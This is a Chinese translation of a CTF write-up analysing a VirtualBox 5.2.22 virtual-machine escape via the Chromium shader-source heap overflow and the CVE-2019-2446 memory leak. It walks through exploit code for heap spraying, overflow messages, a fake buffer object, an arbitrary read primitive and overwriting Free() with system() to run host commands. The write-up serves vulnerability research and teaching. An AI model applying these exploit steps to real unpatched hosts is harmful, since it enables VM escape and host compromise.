利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)

41yf1sh 漏洞 2019年4月30日发布
Favorite收藏

导语:我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。

一、前言

早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。

在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

二、挑战内容

我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。在挑战的题目中,给出了一个提示,仅仅是API glShaderSource()文档的照片。首先,我认为,我们已经将一个漏洞人为地注入到该函数中,从而应对挑战。然而,在查看了它在Chrome中的实现之后,我意识到我正在面对的是一个真实世界中的漏洞。

三、漏洞分析

下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一部分:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;
 
    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }
 
    pos = 20 + count * sizeof(*pLocalLength);
 
    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }
 
    pos_check = pos;
 
    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }
 
    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
 
        pos_check += pLocalLength[i];
    }
 
    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;
 
    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }
 
        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];
 
            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }
 
//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
 
    crFree(ppStrings);
}

该方法使用宏READ_DATA获取用户数据。实际上,它只是从Guest虚拟机使用HGCM接口发送的消息中读取,该消息存储在堆中。然后,它调整输入,并将其传递给cr_unpackDispatch.ShaderSource()。

在这里,第一个明显的攻击点是crAlloc(count * sizeof(char*))。我们查看count变量是否在某个(正值)范围内。但是,由于它是有符号证书,因此还应该检查是否存在负值的可能。如果我们选择足够大的技术,例如0x80000000,那么由于整数溢出,与sizeof(char*)==8的乘法操作将会得到0,因为这里的所有变量都是32位。理想情况下,这可能导致堆溢出,因为分配的缓冲区太小,而计数过大。然而,这部分代码则不容易受到此类攻击,因为如果count为负值,则根本不会进入到循环中(变量i是有符号的,因此二者之间的比较也是有符号的比较)。

实际的漏洞并不明显。在第一个循环中,pos_check由长度数组递增。在每次循环中,都会验证位置,以确保总长度仍然在边界之内。这段代码的问题在于,pos_check仅在下一次循环中检查是否在边界范围内。这就意味着,数组的最后一个元素从未经过任何检查,并且可以为任意大小。

这一点验证不充分会产生什么样的影响呢?本质上,在嵌套循环中,j表示pStrings的索引,并且其范围是从0到pLocalLength[i]。该循环将每个\0字节转换为\n字节。借助任意长度的问题,我们可以使循环超出范围,并且由于pString指向堆HGCM消息中的数据,所以这一问题实际上可以导致堆溢出。

四、漏洞利用

即使我们不能溢出可以控制的内容,但如果我们对其进行合理的利用,我们仍然可以获得任意代码执行。

为了实现漏洞利用,我们将使用3dpwn,这是一个专门用于攻击3D加速(3D Acceleration)的库。我们将大量使用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研究的目标。它包含一个唯一ID、一个可控制的大小、一个指向Guest虚拟机可以写入的实际数据的指针,以及一个双向链表的下一个/上一个指针:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

此外,我们还将使用CRConnection对象,该对象包含各种函数指针,以及指向Guest虚拟机可以读取的缓冲区指针。

如果我们破坏了前一个对象,我们可以获得一个任意的写原语。如果我们破坏了后一个对象,那么我们就可以获得一个任意的读原语和任意代码执行。

4.1 策略

1. 泄漏CRConnection对象的指针。

2. 使用大量CRVBOXSVCBUFFER_t对象喷射(Spray)堆,并保存其ID。

3. 找到一个洞,并执行glShaderSource(),以将我们的恶意信息写入洞中。然后,易受攻击的代码会使其溢出到相邻的对象中,在理想情况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和大小,以触发第二个堆溢出,我们可以通过它进行控制。

4. 查找ID列表,查看其中一个是否消失。如果有消失的ID,则证明它应该是使用换行符损坏的ID。

5. 用此ID中的换行符,替换所有零字节,以获取损坏的ID。

6. 这一损坏的对象,现在将具有比原始更大的长度。我们使用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。

7. 最后,我们可以控制CRConnection对象的内容。如前所述,我们可以破坏它,以启用任意读取原语和任意代码执行。

8. 找到system()的地址,并使用它覆盖函数指针Free()。

9. 在主机上运行任意命令。

4.2 堆信息泄漏

由于我们的目标是VirtualBox v5.2.22,因此该版本并不存在影响v5.2.20之前版本的CVE-2018-3055漏洞。正如我们在这里所看到的,该漏洞被利用来泄漏CRConnection的地址。所以,为了应对这一挑战,我们是否应该寻找新的信息泄漏漏洞,或者重新设计漏洞利用策略?

令人惊讶的是,即使在v5.2.22版本中,上面的代码仍然能够泄漏我们想要的对象。这怎么可能,难道是没有正确修复吗?经过仔细分析后,我们发现,分配的对象的大小为0x290字节,而连接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超出界限。

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

值得关注的是,这一问题的原因在于未初始化的内存漏洞。也就是说,svcGetBuffer()方法正在请求堆内存来存储来自Guest的消息。但是,它却没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而能将有价值的堆信息泄漏给Guest。我推测,Niklas知道这一漏洞,因此我决定使用这一漏洞来完成这一挑战。实际上,在比赛结束后的几周,发布了关于这一漏洞的补丁,并为其分配了CVE-2019-2446的编号。

4.3 堆喷射

我们可以使用alloc_buf()借助CRVBOXSVCBUFFER_t实现堆喷射,如下所示:

bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))

根据经验,我发现可以选择spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区最终将是连续的,并且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。

接下来,我们想在分配中创造一个洞,这样我们就可以用恶意的信息占据它。

具体而言,这是通过向主机发送命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来实现的,其中hole_pos = spray_num – 0x10:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

我们可以参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此命令的实现。

4.4 第一次溢出

现在,我们已经仔细设置了堆,接下来准备分配消息缓冲区并触发溢出,如下所示:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

需要注意的是,我们发送的消息与刚刚释放的消息大小完全相同。由于glibc堆的工作原理,新的消息非常有可能占据与释放消息完全相同的位置。此外,需要注意count = 1,并且只有最后一个长度可以是任意大小。由于只有一个元素,所以显然,第一个元素也正是最后一个元素。

最后,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和大小字段,我们并不想破坏pData。

那么,具体是如何来计算的?

1. 消息的长度为0x30字节

2. pString的偏移量是0x28

3. glibc块的头部(64位)宽0x10字节

4. uild和uiSize都是32位无符号整数

5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2

因此,我们需要0x30-0x28 = 8个字节,才能到达消息的末尾,0x10个字节要经过块的头部,还需要8个字节来覆盖uiId和uiSize。为了补偿减法运算,我们还必须再增加2个字节。总体来说,这就相当于0x22字节。

4.5 找到损坏位置

回想一下,size字段是一个32位无符号整数,我们选择的大小是0x30字节。因此,该字段在损坏后将保持为值0x0a0a0a30(其中的3个零字节已经被字节0x0a替换)。

要查找损坏的ID,这一过程稍微复杂一些,需要我们遍历ID列表,以找出它们之中的哪一个消失了。我们通过向每个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER消息来执行此操作,如下所示:

print("[*] Finding corrupted buffer...")
 
found = -1
 
for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break
 
if found < 0:
    exit("[-] Error could not find corrupted buffer.")

最后,我们用\n字节手动替换每个\0,以匹配损坏的缓冲区的ID:

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

现在,我们就拥有了进行第二次溢出所需要的一切,我们可以最终控制其内容。我们的最终目标是,覆盖pData字段,并使其指向我们之前泄漏的CRConnection对象。

4.6 第二次溢出

使用new_id和大小0x0a0a0a30,我们现在可以破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出类似,这是有效的,因为这些缓冲区彼此相邻。但是,这次我们使用ID为0x13371337、大小为0x290且指向self.pConn的伪对象来覆盖它。

try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

需要注意的是,spray_len + 0x10表示偏移量,我们再次跳过块头部的0x10字节。在执行此操作后,我们可以修改CRConnection对象的内容。如前所述,这最终使我们能够使用任意读取原语,并允许我们通过替换Free()函数指针来调用任何我们想要的内容。

4.7 任意读取原语

发出SHCRGL_GUEST_FN_READ命令时,pHostBuffer中的数据将被发送回Guest。使用我们的自定义0x13371337 ID,我们可以使用自定义的指针覆盖此指针及其相应的大小。然后,我们使用self.client2客户端发送SHCRGL_GUEST_FN_READ消息来触发我们的任意读取(这是泄漏的CRConnection的客户端ID):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

4.8 任意代码执行

在每个CRConnection对象中,都存在函数指针Alloc()、Free()等,负责存储Guest虚拟机的消息缓冲区。此外,它们将CRConnection对象自身作为第一个参数。对我们来说,这是非常完美的,因为它可以用来启动ROP链,或者简单地用任意命令调用system()。

为此,我们需要在偏移量OFFSET_CONN_FREE的位置覆盖指针,并在偏移量0处覆盖我们所需参数的内容,如下所示:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效消息即可。

4.9 寻找system()

我们已经知道一个地址,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包含libc的其他存根(Stub)。因此,我们可以很容易地计算出system()的地址。

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
 
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
 
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
 
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
 
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

4.10 夺取旗帜

现在,我们离夺取旗帜只有一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以通过任何文本编辑器或终端打开文件,以查看其内容。在挑战的过程中,我们可以直接“看到”旗帜,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上迅速搜索后,我们找到了文本编辑器Mousepad。

在第一次提交期间,还发生了一个小问题,就是系统发生了崩溃。我很快就意识到,我们不能使用超过16个字节的字符串,因为一些指针位于这一偏移处,如果使用无效内容覆盖它,将会导致段错误(Segmentation Fault)。

为此,我使用了一些技巧,并将文件路径缩短了两次,这样就可以用较少的字符实现打开操作:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

1.gif

不错,在进行了4-5小时的研究之后,我终于夺取了旗帜,并很高兴能成为第一个解决这一挑战的人。几个小时后,Tea Delivers团队也成功利用了这个很酷的漏洞,恭喜他们。

五、总结

如果我们之前一直在使用这一虚拟机,那么这个挑战并不是很难解决。据我所知,通过建立一个更好的Heap Constellation,我们可以直接溢出到CRConnection对象,并修改cbHostBuffer字段,最终启用越界读取原语,从而在不利用任何漏洞的情况下解决这一挑战。然而,在压力和兴奋的双重作用下,我选择了额外的漏洞来解决这一问题。尽管如此,这一过程还是非常有趣。尽管Chromium中存在许多信息泄漏漏洞,几乎每个Opcode都可能会泄漏栈或堆信息,但内存损坏漏洞还是比较稀缺的,因此我非常开心能发现这一问题。

最后一点,也是比较重要的一点,我在掌握代码中存在漏洞的情况之后,就很容易识别问题。实际上,尽管我一直在进行研究,但我最开始却认为它是无法被利用的。因此,我们要以乐观积极的心态来看待代码,如果我们相信任何代码中可能存在问题,就要坚信最终一定能够发现它们。不要气馁,也不要抱有“如果有漏洞,那么其他人肯定早就发现了”这样的心态。

感谢大家的阅读!

六、致谢

感谢Niklasb针对此问题的先前研究,以及设置的挑战题目。

本文翻译自:https://theofficialflow.github.io/2019/04/26/chromacity.html如若转载,请注明原文地址: https://www.4hou.com/vulnerable/17764.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论